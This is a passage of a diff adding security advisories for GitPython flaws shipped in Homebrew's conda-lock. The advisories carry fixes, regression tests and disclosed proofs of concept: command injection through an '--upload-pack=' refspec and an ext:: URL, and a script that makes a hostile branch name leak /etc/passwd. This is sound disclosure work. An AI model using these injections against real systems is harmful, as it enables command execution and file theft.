repository can contain many such objects.\n\n### Suggested fix\n\nMatch the leading field name with `.[^ ]*` instead of `.+?`. Both stop at the first space after the first character, but `.[^ ]*` cannot overlap the following `(.*)`, so the backtracking disappears:\n\n```python\n_re_actor_epoch = re.compile(r\"^.[^ ]* (.*) (\\d+) ([+-]\\d+).*$\")\n_re_only_actor = re.compile(r\"^.[^ ]* (.*)$\")\n```\n\nVerification on current main (73a72c9):\n\n- Differential over 368 actor lines (real-world shapes plus edge cases): 0 differences in match groups for either regex.\n- `' '*n` at 64 KB: 32,170 ms before, 0.98 ms after. Valid lines are unchanged (0.01 ms).\n- The existing test suite gives the same pass/fail set with and without the change\n- The new regression test, `test_parse_actor_and_date_malformed_line_is_linear`, fails on the old pattern (8.4 s) and passes with the fix (0.5 s).\n\nThe full patch (fix plus regression test) is attached below.\n\n```diff\ndiff --git a/git/objects/util.py b/git/objects/util.py\nindex a68d701f..d8c0594d 100644\n--- a/git/objects/util.py\n+++ b/git/objects/util.py\n@@ -319,8 +319,11 @@ def parse_date(string_date: Union[str, datetime]) -> Tuple[int, int]:\n \n \n # Precompiled regexes\n-_re_actor_epoch = re.compile(r\"^.+? (.*) (\\d+) ([+-]\\d+).*$\")\n-_re_only_actor = re.compile(r\"^.+? (.*)$\")\n+# The leading field name (\"author\", \"committer\", \"tagger\") is matched with ``.[^ ]*`` rather than\n+# ``.+?``: both stop at the first space after the first character, but ``.[^ ]*`` cannot overlap the\n+# following ``(.*)``, so a line with no valid trailing epoch/offset no longer backtracks quadratically.\n+_re_actor_epoch = re.compile(r\"^.[^ ]* (.*) (\\d+) ([+-]\\d+).*$\")\n+_re_only_actor = re.compile(r\"^.[^ ]* (.*)$\")\n \n \n def parse_actor_and_date(line: str) -> Tuple[Actor, int, int]:\ndiff --git a/test/test_util.py b/test/test_util.py\nindex cf4299d5..e1631420 100644\n--- a/test/test_util.py\n+++ b/test/test_util.py\n@@ -22,6 +22,7 @@ from git.cmd import dashify\n from git.objects.util import (\n altz_to_utctz_str,\n from_timestamp,\n+ parse_actor_and_date,\n parse_date,\n tzoffset,\n utctz_to_altz,\n@@ -571,6 +572,30 @@ class TestUtils(TestBase):\n Actor(\"name last another\", \"some-very-long-email@example.com\"),\n )\n \n+ def test_parse_actor_and_date_malformed_line_is_linear(self):\n+ # A long author line whose trailing epoch/offset is missing or malformed used to make\n+ # _re_actor_epoch backtrack quadratically: ~7 s per Commit.author access for a 32 KB line.\n+ # The parse result must be unchanged; only the time spent reaching it should move.\n+ for tail in (\"\", \" notanumber -0700\", \" 1191999972\", \" -0700\", \" 1191999972 xx\"):\n+ line = \"author \" + \" \" * 32000 + tail\n+ start = time.perf_counter()\n+ actor, epoch, offset = parse_actor_and_date(line)\n+ self.assertLess(time.perf_counter() - start, 1.0)\n+ self.assertEqual(epoch, 0)\n+ self.assertEqual(offset, 0)\n+\n+ # Well-formed lines, including one with a long name, still parse exactly as before.\n+ actor, epoch, offset = parse_actor_and_date(\n+ \"author Tom Preston-Werner 1191999972 -0700\"\n+ )\n+ self.assertEqual(actor, Actor(\"Tom Preston-Werner\", \"tom@mojombo.com\"))\n+ self.assertEqual(epoch, 1191999972)\n+ self.assertEqual(offset, 25200)\n+\n+ actor, epoch, offset = parse_actor_and_date(\"author \" + \"a \" * 16000 + \" 1 -0700\")\n+ self.assertEqual(actor.email, \"a@b\")\n+ self.assertEqual(epoch, 1)\n+\n @ddt.data(\n (\"name\", \"\"),\n (\"name\", \"prefix_\"),\n```\n\nFound with AI assistance (Claude) and verified by hand.\n\nBrian Willows", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-m64x-33q8-m5h7" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/pull/2253" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/commit/8290c98d35465a38090cdcc1b17be69967092a15" + }, + { + "type": "PACKAGE", + "url": "https://github.com/gitpython-developers/GitPython" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0" + } + ] +} diff --git a/advisories/BREW-conda-lock-CVE-2026-110857.json b/advisories/BREW-conda-lock-CVE-2026-110857.json new file mode 100644 index 00000000000..249124d7374 --- /dev/null +++ b/advisories/BREW-conda-lock-CVE-2026-110857.json @@ -0,0 +1,84 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-conda-lock-CVE-2026-110857", + "published": "2026-10-29T21:39:28Z", + "modified": "2026-10-29T21:39:28Z", + "upstream": [ + "GHSA-w8jc-g24h-crhw", + "CVE-2026-110857" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "conda-lock", + "purl": "pkg:brew/conda-lock" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.0.0" + }, + { + "fixed": "4.0.3" + } + ] + } + ], + "ecosystem_specific": { + "fix": "bump", + "range_state": "fixed", + "upstream_fixed_in": "3.2.0", + "resource": "gitpython", + "resource_purl": "pkg:pypi/gitpython@3.2.1" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "gitpython", + "subject_version": "3.2.1", + "key": "pkg:pypi/gitpython@3.2.1", + "resource": "gitpython" + } + ] + }, + "summary": "GitPython command wrappers omit unsafe protocol and option checks", + "details": "### Summary\n\nGitPython has spent 2022-2026 rolling out two reusable guards method-by-method: `Git.check_unsafe_protocols(url)` (raises `UnsafeProtocolError` for `::` remote-helper URLs - CVE-2022-24439) and `Git.check_unsafe_options(...)` (raises `UnsafeOptionError` for denylisted option spellings - CVE-2023-40267, CVE-2026-42215, CVE-2026-67323). Three wrapper methods that build a `git` argv from caller-controlled values still have **neither**:\n\n1. **`Git.ls_remote`** (git/cmd.py:1128-1143) - checks options (:1139-1141) but forwards the URL positional unchecked; no `allow_unsafe_protocols` parameter exists. The same URL through `clone_from` raises `UnsafeProtocolError`.\n2. **`Repo.merge_base`** (git/repo/base.py:895-936) - forwards `**kwargs`/`*rev` to `self.git.merge_base` with no guard; guarded sibling `iter_commits` sits 12 lines up. Its exception handler additionally swallows every non-128 `GitCommandError` into `[]`, masking the injection.\n3. **`IndexFile.move`** (git/index/base.py:1092-1168) - forwards `**kwargs` to `git mv` twice (:1147, :1167); guarded sibling `remove()` is 23 lines above.\n\nVerified unfixed on `main @ a54d159` (2026-09-21), post-dating latest release 3.1.62 (2026-09-07) - all three sites re-verified today.\n\n### Impact\n\n**Site 1 (`ls_remote`)** - RCE conditional on the victim git transport policy. The common 'probe first, then clone' pattern (`Git(...).ls_remote(attacker_url)`) with an `ext::sh -c ...` URL executes arbitrary commands when the victim git permits the ext transport: dynamically verified with `protocol.ext.allow=always` (marker executed). git >= 2.38.1 stock config refuses the transport (`fatal: transport 'ext' not allowed`, rc 128) - GitPython adds no defense-in-depth and surfaces a bare `GitCommandError`. Environments on git < 2.38.1 are exposed with stock config - the exact population CVE-2022-24439 was scored against.\n\n**Sites 2/3** - latent argument-injection surface: caller kwargs flow 1:1 into the `git` argv before operands and `--` (cmd.py:1850 `opt_args + ext_args`), and `execute_kwargs` (incl. `shell=True`/`env` - the CVE-2023-40267 Windows mechanism) passes through unguarded. Today `git merge-base`/`git mv` expose no exec option, so we claim the missing-guard class (vendor-settled by CVE-2026-67323, which bundled archive/ls_remote/iter_commits/blame in one advisory), not direct RCE.\n\n### Dynamic verification (today; GitPython main @ a54d159, git 2.55.0, Linux)\n\n| # | Call | Result |\n|---|---|---|\n| T1 | `repo.git.ls_remote('ext::/tmp/gp_touch.sh')`, stock config | git refuses (rc 128); **no `UnsafeProtocolError` from GitPython** |\n| T1b | same + victim config `protocol.ext.allow=always` | **marker created - arbitrary command executed** |\n| T2 | `repo.git.ls_remote('.', upload_pack=...)` | blocked by cmd.py:1141 (options-side fixed - protocol-side is the residual gap) |\n| T3 | `repo.merge_base('main','side', upload_pack=...)` | **not blocked**; argv `git merge-base --upload-pack=... main side`; rc 129 silently converted to `[]` |\n| T4 | `repo.index.move(['f1','f2'], output=...)` | **not blocked**; option reaches `git mv` (rc 129) |\n\n### Coverage matrix (main @ a54d159)\n\n`check_unsafe_protocols`: 7 call sites (`_clone`, `archive`, `set_url`, `create`, `fetch`, `pull`, `push`) - none on `ls_remote`.\n`check_unsafe_options`: 24 call sites incl. `ls_remote`, `iter_commits`, `IndexFile.remove` - absent on `merge_base` and `move`.\n\n### Precedents (same repo, same guard family)\n\n- **CVE-2022-24439 / GHSA-hcpj-qp55-gfph** (critical): `check_unsafe_protocols` on the clone path - Site 1 is the same `ext::` primitive on a sibling API.\n- **CVE-2023-40267 / GHSA-pr76-5cm5-w9cj** (critical, 'incomplete fix for CVE-2022-24439'): `check_unsafe_options` - unguarded kwargs to argv treated as RCE (`shell=True` on Windows).\n- **CVE-2026-42215 / GHSA-rpm5-65cw-6hj4** (high, fixed 3.1.47): underscored-spelling bypass - rollout still active in 2026.\n- **CVE-2026-67323 / GHSA-956x-8gvw-wg5v** (high, 8.4, fixed 3.1.51): added `check_unsafe_options` to `archive`/`ls_remote`/`iter_commits`/`blame`; its PoC is literally `repo.git.ls_remote('.', upload_pack=...)`. Establishes that a wrapper missing the check is itself a vulnerability. This report is the residual gap of that rollout: `ls_remote` got options but not protocols; `merge_base`/`move` got neither.\n\n### Recommended fix (existing helpers, 1-3 lines per site)\n\n1. `Git.ls_remote`: `if not allow_unsafe_protocols: self.check_unsafe_protocols(args[0])` + new `allow_unsafe_protocols: bool = False` (the `_clone` pattern, base.py:1536-1538).\n2. `Repo.merge_base`: `check_unsafe_options(Git._option_candidates(list(rev), kwargs), unsafe_options=self.unsafe_git_revision_options)` (the `iter_commits` pattern); stop masking non-128 statuses.\n3. `IndexFile.move`: the `remove()` pattern with `unsafe_git_pathspec_from_file_options`.\n\nOne advisory, three affected methods, severity anchored on Site 1 - mirroring CVE-2026-67323's bundling.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-w8jc-g24h-crhw" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/pull/2251" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/commit/9ad28cc4c7176d22cd6181d69805058a719dd03b" + }, + { + "type": "PACKAGE", + "url": "https://github.com/gitpython-developers/GitPython" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0" + } + ] +} diff --git a/advisories/BREW-conda-lock-CVE-2026-110858.json b/advisories/BREW-conda-lock-CVE-2026-110858.json new file mode 100644 index 00000000000..31c500ec1cc --- /dev/null +++ b/advisories/BREW-conda-lock-CVE-2026-110858.json @@ -0,0 +1,84 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-conda-lock-CVE-2026-110858", + "published": "2026-10-29T21:39:28Z", + "modified": "2026-10-29T21:39:28Z", + "upstream": [ + "GHSA-f9j4-qggq-h239", + "CVE-2026-110858" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "conda-lock", + "purl": "pkg:brew/conda-lock" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.0.0" + }, + { + "fixed": "4.0.3" + } + ] + } + ], + "ecosystem_specific": { + "fix": "bump", + "range_state": "fixed", + "upstream_fixed_in": "3.2.0", + "resource": "gitpython", + "resource_purl": "pkg:pypi/gitpython@3.2.1" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "gitpython", + "subject_version": "3.2.1", + "key": "pkg:pypi/gitpython@3.2.1", + "resource": "gitpython" + } + ] + }, + "summary": "GitPython Remote.pull() refspec bypasses the --upload-pack unsafe-option guard, enabling arbitrary command execution", + "details": "## Summary\n\n`Remote.pull()` in GitPython forwards its positional `refspec` argument directly to the `git pull` child process while its unsafe-option guard inspects only keyword arguments. An application that passes attacker-influenced data as the `refspec` (for example a user-supplied branch or refspec parameter in a web or CI service) can supply an option-shaped value such as `--upload-pack=`. The value bypasses the `unsafe_git_pull_options` check, is placed after the `--` separator on the `git pull` command line, and is executed as the upload-pack program for local-path or SSH transports. This yields arbitrary command execution with the privileges of the calling process using the documented default arguments (`allow_unsafe_options=False`).\n\n## Root Cause\n\n`Remote.pull()` is documented to reject dangerous options unless `allow_unsafe_options=True`, and `--upload-pack` is explicitly listed as such an option. The guard, however, only screens keyword arguments and never the positional `refspec`. The check builds its candidate list with `Git._option_candidates([], kwargs)`, passing an empty list in place of the positionals, so the `refspec` value is never compared against `unsafe_git_pull_options = [\"--upload-pack\"]`. The normalized `refspec` is then forwarded verbatim to the `git pull` invocation. The leading `--` separator that neutralizes an option-shaped refspec for `git fetch` and `git push` does not protect `git pull`, because `git pull` re-forwards its trailing positionals to an internal `git fetch` without re-inserting a `--` separator, so the positional becomes an option to that internal fetch.\n\n```text\nAffected function: git.remote.Remote.pull\nSource: git/remote.py (guard at the check_unsafe_options call using _option_candidates([], kwargs); sink at the self.repo.git.pull(\"--\", self, refspec, ...) invocation)\n```\n\n## Impact\n\nAn attacker who controls the `refspec` value passed to `Remote.pull()` achieves arbitrary operating-system command execution as the process invoking GitPython, with no additional privileges and no user interaction, on the default code path. Exploitation requires that the pulled remote uses a transport that runs upload-pack on the local side, namely a local filesystem path or SSH; over HTTPS the `--upload-pack` value is inert because the server ignores a client-supplied upload-pack program. This transport requirement narrows the population of vulnerable deployments but does not add work for the attacker once a vulnerable target is reached. Working checkouts commonly use local-path or SSH origins, so the exposed population is substantial.\n\n## Proof of Concept\n\n```text\nEnvironment: GitPython from the affected source tree; system git 2.43.0.\nThe pulled origin uses a local filesystem transport (protocol.file.allow=always for git >= 2.38).\n```\n\nReproduction steps:\n\n1. Create an origin repository reachable over a local-path transport.\n2. In a consumer repository, register that origin and call `Remote.pull()` with an attacker-controlled refspec.\n3. Observe that the injected command executes.\n\n```python\nimport git\nrepo = git.Repo(\"consumer\") # has an origin using a local-path or ssh transport\norigin = repo.remote(\"origin\")\n# Attacker-controlled refspec value; default arguments (allow_unsafe_options=False):\norigin.pull(refspec=\"--upload-pack=touch /tmp/pwned; git-upload-pack\")\n```\n\n```text\ncmdline: git pull -v -- origin --upload-pack=touch /tmp/pwned; git-upload-pack\n[attack] marker created (RCE) : True\n[isolate] upload_pack passed as KWARG blocked : True (only the positional refspec escapes)\n[sibling] same value via git fetch : safe (pull-specific behavior)\n[control] benign refspec : safe\n```\n\n## Attack Chain\n\n1. **Exposure:** An application calls `Remote.pull(refspec=)` on the default path, where `` is derived from attacker-influenced input such as a branch or refspec request parameter.\n2. **Control:** The attacker supplies the string `--upload-pack=; git-upload-pack`. The value passes through `Git._unpack_args`, which only flattens and stringifies it, preserving the option shape.\n3. **Path:** The protocol loop calls `Git.check_unsafe_protocols` on the value, which only matches remote-helper transport URLs (a `::` form) and does not flag an `--upload-pack=` token.\n4. **Guard:** The unsafe-option guard calls `check_unsafe_options(options=Git._option_candidates([], kwargs), ...)`. Because positionals are passed as an empty list, the positional `refspec` is never inspected against `unsafe_git_pull_options`.\n5. **Primitive:** The value is forwarded to `git pull -v -- --upload-pack=; git-upload-pack`; `git pull` re-forwards the positional to an internal `git fetch` without a `--` separator, so it is honored as the upload-pack program.\n6. **Result:** For a local-path or SSH transport, git executes `` as the upload-pack program, giving arbitrary command execution as the calling process user.\n\n## Bypass Evidence\n\nThe relevant guard is `Remote.pull()`'s own `check_unsafe_options` call, present in the current released artifact. It is incomplete: it inspects `Git._option_candidates([], kwargs)`, which only considers keyword arguments, so the positional `refspec` is never checked. This was confirmed empirically: passing the identical value as the `upload_pack=` keyword argument raises `UnsafeOptionError`, while passing it as the positional `refspec` does not, proving that only the positional escapes the guard.\n\nThe `--` separator on the `git pull` command line was tested as a possible mitigation and refuted: with system git 2.43.0, `git pull -- '--upload-pack='` executed the injected command, while the identical value supplied to `git fetch -- ...` and `git push -- ...` did not execute, because those subcommands honor the `--` terminator whereas `git pull` re-forwards positionals to an internal fetch without one. The `check_unsafe_protocols` transport check was also examined and does not flag the `--upload-pack=` token because it has no `::` form. No prior published advisory for this package addresses `Remote.pull`, the fetch or pull refspec positional, or `--upload-pack` injection via a refspec; the closest accepted issue covers the same class (a positional argument escaping a keyword-only guard) in a different function and sink.\n\n## Affected Versions\n\n- `Ecosystem: pip (PyPI)`\n- `Package: GitPython`\n- `Confirmed affected range: >= 3.1.30`\n- `Latest release checked: 3.1.62 (PyPI); source verified against the 3.1.62 release tag`\n- `Fix status: not fixed in any released version or on the development branch`\n\nThe keyword-only pull guard together with the positional `refspec` sink is present in every released tag from 3.1.30 through the latest release 3.1.62, verified by inspecting the shipped `git/remote.py` in each tagged artifact. Version 3.1.30 introduced the `unsafe_git_pull_options` guard; the affected range is stated from that boundary under the incomplete-guard framing. Releases before 3.1.30 forward the `refspec` positionally with no unsafe-option guard and no `--` separator and are also exploitable, but the range is stated conservatively from the guard-introduction boundary. No fixed release exists.\n\n## Suggested Fix\n\nEnforce the unsafe-option invariant on the positional `refspec`, not only on keyword arguments. The guard should build its candidate list from the actual forwarded positionals (for example by passing the normalized refspec list into `Git._option_candidates` alongside `kwargs`) so that an option-shaped `refspec` such as `--upload-pack=...` is rejected with `UnsafeOptionError` unless `allow_unsafe_options=True`. The same correction should be verified for any other reference or refspec forwarding path that relies on the keyword-only guard. As an interim mitigation without a code change, callers should validate or reject refspec values that begin with `-`, avoid passing untrusted data as the `refspec`, and prefer HTTPS remotes where a client-supplied upload-pack program is inert.\n\nReported by zx (GitHub: @manus-pi).", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-f9j4-qggq-h239" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/pull/2247" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/commit/790bb3164948625ffb043d2a162425d55923fe9a" + }, + { + "type": "PACKAGE", + "url": "https://github.com/gitpython-developers/GitPython" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0" + } + ] +} diff --git a/advisories/BREW-conda-lock-CVE-2026-110859.json b/advisories/BREW-conda-lock-CVE-2026-110859.json new file mode 100644 index 00000000000..3055691a1e6 --- /dev/null +++ b/advisories/BREW-conda-lock-CVE-2026-110859.json @@ -0,0 +1,84 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-conda-lock-CVE-2026-110859", + "published": "2026-10-29T21:39:28Z", + "modified": "2026-10-29T21:39:28Z", + "upstream": [ + "GHSA-23mf-xhv8-69c2", + "CVE-2026-110859" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "conda-lock", + "purl": "pkg:brew/conda-lock" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.0.0" + }, + { + "fixed": "4.0.3" + } + ] + } + ], + "ecosystem_specific": { + "fix": "bump", + "range_state": "fixed", + "upstream_fixed_in": "3.2.0", + "resource": "gitpython", + "resource_purl": "pkg:pypi/gitpython@3.2.1" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "gitpython", + "subject_version": "3.2.1", + "key": "pkg:pypi/gitpython@3.2.1", + "resource": "gitpython" + } + ] + }, + "summary": "GitPython: arbitrary file read via attacker-controlled branch name in `Head.checkout()` (incomplete fix of CVE-2026-78679)", + "details": "> **A note on the referenced files.** This report was submitted through GitHub's private\n> vulnerability reporting API, which carries no attachments. Every transcript this report leans\n> on is reproduced **inline above**, verbatim. The file names it mentions (`poc.sh`, `poc.log`,\n> per-case transcripts, `evidence.md`, `negative-controls.md`, blob-sweep tables) are the local\n> evidence bundle those inline excerpts were extracted from, with a checksum manifest. I am happy\n> to send the bundle by any channel you prefer, or to open a private fork — just say which. The\n> PoC scripts are self-contained and reproduce the result from a clean environment.\n\n---\n\n**Affected:** `<= 3.1.62` — all published releases; also `main` @ `4905b4af`\n**Verified at runtime:** GitPython `3.1.62` with git `2.55.0`\n**Date:** 2026-09-10\n**Reporter:** MAXI8594\n\n---\n\n## Threat model\n\n| | |\n|---|---|\n| **Attacker** | anyone who can get the application to clone a URL they control. No account, no credential, no privilege in the consuming application. |\n| **Pre-need** | a repository they host, with `HEAD` pointing at a branch whose name is the payload. A `git push` to a plain git server is enough — no filesystem access to a server is required (`raw/06`). |\n| **Gets** | the contents of any file the application's process can read, returned in band through the exception. `/etc/passwd` recovered 34 of 34 lines. |\n| **Real-world likelihood** | **High.** The vulnerable consumer is six lines of ordinary code with no unusual configuration: `Repo.clone_from(user_url)` then `repo.active_branch.checkout()`. `allow_unsafe_options=False` is the default. Cloning user-supplied URLs is the library's central use case — CI systems, repository importers, scanners and bots. |\n\n**On severity relative to the sibling advisories.** GitHub, as CNA, scored the three prior\nadvisories in this class at 6.5 / `PR:L` (CVE-2026-76217, CVE-2026-78678, CVE-2026-78679). This\nreport asks for 7.5 / `PR:N`, and the difference is one measured fact: in those three, the\napplication had to pass an attacker-influenced value into the API. Here it passes nothing — the\nclone materialises the hostile branch on its own and `repo.active_branch` returns it\n(`raw/02`). If that reading is not accepted, the `PR:L` path via `Repo.create_head()` is also real\nand lands at 6.5, matching the siblings.\n\n## Summary\n\n`Head.checkout()` guards its `**kwargs` against unsafe Git options but never inspects its own\npositional argument — the branch name — which reaches the `git checkout` argv with no `--`\nseparator. A repository whose default branch is named `--pathspec-from-file=/etc/passwd` makes a\nconsumer that merely clones it and checks out the default branch return the entire contents of that\nfile to the caller.\n\nThis is the exact combination of two advisories the project already fixed:\n\n- **CVE-2026-76217** (`GHSA-hh9p-6wh2-4mfc`) — *\"Arbitrary file read via `--pathspec-from-file` in\n `IndexFile.remove()` **and `Head.checkout()`**\"*. Fixed in 3.1.58 by commit `f2550b65`, which added\n the guard to this exact method — but only for `**kwargs`.\n- **CVE-2026-78679** (`GHSA-3wxw-xv34-2frg`) — *\"`TagReference.create` positional reference\n bypasses kwargs-only `--file` guard, enabling arbitrary file read (incomplete fix of 3af0c251)\"*. Fixed in 3.1.59 by commit `1b0d2d9b`, which applied the\n positional check to `git/refs/tag.py`, `git/diff.py`, `git/index/base.py` and `git/repo/base.py` —\n but not to `git/refs/head.py:286`.\n\n`f2550b65` states in its own commit message that the audit found the positional variant and applied\nit to `HEAD.reset` — 185 lines above `Head.checkout`, in the same file, in the same commit:\n\n> \"The audit also found that **reset's positional commit could carry the option before its argument\n> separator**. […] **Check reset's positional commit as well as keyword options**\"\n\n`HEAD.reset` got the fix. `Head.checkout` did not, and `1b0d2d9b` did not come back for it.\n\n## Affected Asset\n\n| | |\n|---|---|\n| Package | `GitPython` (PyPI) |\n| Affected versions | **`<= 3.1.62`** — all published releases |\n| Latest release tested | `3.1.62` |\n| Also present on | `main` @ `4905b4af` |\n| Vulnerable file | `git/refs/head.py` |\n| Guard | line 286 — `Git._option_candidates([], kwargs)` |\n| Sink | line 293 — `self.repo.git.checkout(self, **kwargs)` |\n| CWE | CWE-88 (Argument Injection), CWE-73 (External Control of File Name or Path), CWE-200 (Exposure of Sensitive Information) |\n| CVSS 3.1 | `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` → **7.5 High** |\n\nThe version range was established by **blob hash against every tag**, not by dates: the sink line\n`self.repo.git.checkout(self, **kwargs)` — with no `--` separator — is present in `git/refs/head.py`\nin every tag from `0.3.1-beta2` through `3.1.62`. The `3.1.62` blob is byte-identical to `main`:\n`7f563374ef9e018b3d5f95054498e8591e112ce2`. Full sweep in `raw/07-blob-version-sweep.txt`.\n\nThe kwargs-only guard first appears in **3.1.58**, so `3.1.58`–`3.1.62` is where \"incomplete fix\"\napplies; earlier releases have the same sink with no guard at all.\n\n## Vulnerability Details\n\n### Root cause\n\n`git/cmd.py:1045` — `_option_candidates()` only inspects the positionals it is handed:\n\n```python\n@classmethod\ndef _option_candidates(cls, args: Sequence[Any] = (), kwargs: Optional[Mapping[str, Any]] = None) -> List[str]:\n \"\"\"Collect possible option spellings before command-line transformation.\"\"\"\n options = [\n option for option in cls._unpack_args([arg for arg in args if arg is not None]) if option.startswith(\"-\")\n ]\n```\n\nSo `_option_candidates([], kwargs)` means: *check the keyword arguments, never check the positional\narguments this method puts on the command line.* That is fine when the method has no\nattacker-influenced positional, or when it separates them with `--`.\n\n`git/refs/head.py:283-293` — `Head.checkout()` has neither:\n\n```python\n if not allow_unsafe_options:\n Git.check_unsafe_options(\n options=Git._option_candidates([], kwargs),\n unsafe_options=Git.unsafe_git_pathspec_from_file_options,\n )\n kwargs[\"f\"] = force\n if kwargs[\"f\"] is False:\n kwargs.pop(\"f\")\n\n self.repo.git.checkout(self, **kwargs)\n```\n\n`self` is the only positional. It serialises to the branch name, lands in the `git checkout` argv,\nand is not in the list the guard inspects. `_call_process` builds `args_list = opt_args + ext_args`,\nso keyword-derived options precede positionals — which is why the rest of the library puts `\"--\"`\nfirst (`Remote.fetch/pull/push`, `Repo._clone`, `Repo.archive`, `IndexFile.remove`, `Commit.count`\nall do). `Head.checkout` does not.\n\n### Why the branch name is attacker-controlled\n\nGit accepts a refname whose branch component begins with `-` and contains `/`\n(`raw/02-refname-accepted-and-cloned.txt`):\n\n```\n>>> git check-ref-format 'refs/heads/--pathspec-from-file=/etc/passwd'\n exit=0 stderr=''\n => un refname que empieza con '-' y lleva '/' es VALIDO para git\n\n>>> git -C update-ref 'refs/heads/--pathspec-from-file=/etc/passwd' beea87239099\n exit=0 stderr=''\n>>> git -C symbolic-ref HEAD 'refs/heads/--pathspec-from-file=/etc/passwd'\n exit=0\n HEAD del bare = refs/heads/--pathspec-from-file=/etc/passwd\n ref en disco como arbol jerarquico: True\n\n>>> Repo.clone_from('file://', ) # la app solo clona\n ramas LOCALES creadas por el clone, sin que nadie las pida:\n refs/heads/--pathspec-from-file=/etc/passwd\n repo.active_branch.name = '--pathspec-from-file=/etc/passwd'\n coincide con el nombre hostil: True\n```\n\nThe transcript above also shows the second half: `git clone` **materialises that branch locally on\nits own** when the remote `HEAD` points at it — the consuming application never asks for it.\n\nA plain git server accepts the refname over `receive-pack`, with no `--force` and no special config\n(`raw/06-push-accepts-refname.txt`), so the attacker does not need filesystem access to a server —\na `git push` is enough. That measurement, and the clone in `raw/02`, both use the `file://`\ntransport, which exercises the same git wire protocol as `https://`; I did not test against a\nhosted forge, since that would mean writing to a third party.\n\n### Why the leak reaches the caller\n\nThe file contents are in `CommandError.__str__`, not only in the `.stderr` attribute\n(`git/exc.py`):\n\n```python\n self.stderr = stderr_decode and \"\\n stderr: '%s'\" % stderr_decode or \"\"\n\n def __str__(self) -> str:\n return (self._msg + \"\\n cmdline: %s%s%s\") % (\n self._cmd, self._cause, self._cmdline, self.stdout, self.stderr,\n )\n```\n\nSo `logging.exception(...)`, `print(e)`, or simply **not catching** the exception all disclose the\nfile. The developer does not have to know `.stderr` exists.\n\n### Full chain\n\n```\nRepo.clone_from()\n ↓ remote HEAD points at refs/heads/--pathspec-from-file=/etc/passwd\n ↓ git clone creates that LOCAL branch unasked\nrepo.active_branch → Head with name = \"--pathspec-from-file=/etc/passwd\"\n ↓\nHead.checkout() git/refs/head.py:286 — guard inspects kwargs only\n ↓ self.repo.git.checkout(self, **kwargs) git/refs/head.py:293 — no \"--\"\ngit checkout --pathspec-from-file=/etc/passwd\n ↓ git emits one `error:` per unmatched pathspec — one per line of the file\nGitCommandError → CommandError.__str__ → the consumer\n```\n\n## Steps to Reproduce\n\nEnvironment: GitPython 3.1.62, git 2.55.0, Linux x86_64, disposable venv. Everything local —\ntemporary repositories and the `file://` transport. No remote hosts, no third-party repositories.\n\nThe bundled `poc.sh` runs all seven scenarios as a single unit and writes `poc.log` plus one file per\nscenario under `raw/`. Minimal manual reproduction:\n\n```bash\npython3 -m venv /tmp/gp && /tmp/gp/bin/python -m pip install gitpython==3.1.62\n\nW=$(mktemp -d)\ngit init -q -b main \"$W/a\"; echo x > \"$W/a/f.txt\"\ngit -C \"$W/a\" add f.txt\ngit -C \"$W/a\" -c user.email=a@b -c user.name=a commit -qm c\ngit clone -q --bare \"$W/a\" \"$W/a.git\"\nSHA=$(git -C \"$W/a.git\" rev-parse HEAD)\n\n# the attacker names their default branch after the file they want\ngit -C \"$W/a.git\" update-ref 'refs/heads/--pathspec-from-file=/etc/passwd' \"$SHA\"\ngit -C \"$W/a.git\" symbolic-ref HEAD 'refs/heads/--pathspec-from-file=/etc/passwd'\n\ncat > \"$W/consumer.py\" <<'PYEOF'\nimport logging, sys, git\nlogging.basicConfig(level=logging.INFO, format=\"%(message)s\")\ntry:\n repo = git.Repo.clone_from(sys.argv[1], sys.argv[2]) # user-supplied URL\n repo.active_branch.checkout() # ensure a clean working tree\nexcept git.exc.GitCommandError:\n logging.exception(\"clone failed\")\nPYEOF\n\n/tmp/gp/bin/python \"$W/consumer.py\" \"file://$W/a.git\" \"$W/victim\"\n```\n\n### Raw Request\n\nThe real `git checkout` argv, captured by instrumenting `Git.execute` (`raw/01-real-argv.txt`).\nThis is the command 